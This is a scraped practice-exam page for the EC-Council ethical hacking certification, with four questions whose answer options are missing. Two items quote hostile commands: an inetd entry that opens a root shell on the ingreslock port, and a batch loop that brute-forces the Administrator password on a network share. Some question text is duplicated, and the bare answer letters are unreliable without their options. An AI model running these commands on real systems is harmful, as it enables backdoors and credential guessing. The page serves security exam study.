EC0-350 無料問題集「EC-COUNCIL Ethical hacking and countermeasures」
Study the following exploit code taken from a Linux machine and answer the questions below:
echo "ingreslock stream tcp nowait root /bin/sh sh -I" > /tmp/x;
/usr/sbin/inetd -s /tmp/x;
sleep 10;
/bin/ rm -f /tmp/x AAAA...AAA
In the above exploit code, the command "/bin/sh sh -I" is given.
What is the purpose, and why is 'sh' shown twice?
echo "ingreslock stream tcp nowait root /bin/sh sh -I" > /tmp/x;
/usr/sbin/inetd -s /tmp/x;
sleep 10;
/bin/ rm -f /tmp/x AAAA...AAA
In the above exploit code, the command "/bin/sh sh -I" is given.
What is the purpose, and why is 'sh' shown twice?
正解:C
解答を投票する
解説: (JPNTest メンバーにのみ表示されます)
Eve is spending her day scanning the library computers. She notices that Alice is using a computer whose port 445 is active and listening. Eve uses the ENUM tool to enumerate Alice machine. From the command prompt, she types the following command.
For /f "tokens=1 %%a in (hackfile.txt) do net use * \\10.1.2.3\c$ /user:"Administrator" %%a What is Eve trying to do?
For /f "tokens=1 %%a in (hackfile.txt) do net use * \\10.1.2.3\c$ /user:"Administrator" %%a What is Eve trying to do?
正解:C
解答を投票する
解説: (JPNTest メンバーにのみ表示されます)
John has a proxy server on his network which caches and filters web access. He shuts down all unnecessary ports and services. Additionally, he has installed a firewall (Cisco PIX) that will not allow users to connect to any outbound ports. Jack, a network user has successfully connected to a remote server on port 80 using netcat. He could in turn drop a shell from the remote machine. Assuming an attacker wants to penetrate John's network, which of the following options is he likely to choose?
正解:B
解答を投票する
解説: (JPNTest メンバーにのみ表示されます)
_________ ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. It secures information by assigning sensitivity labels on information and comparing this to the level of security a user is operating at.
正解:A
解答を投票する
解説: (JPNTest メンバーにのみ表示されます)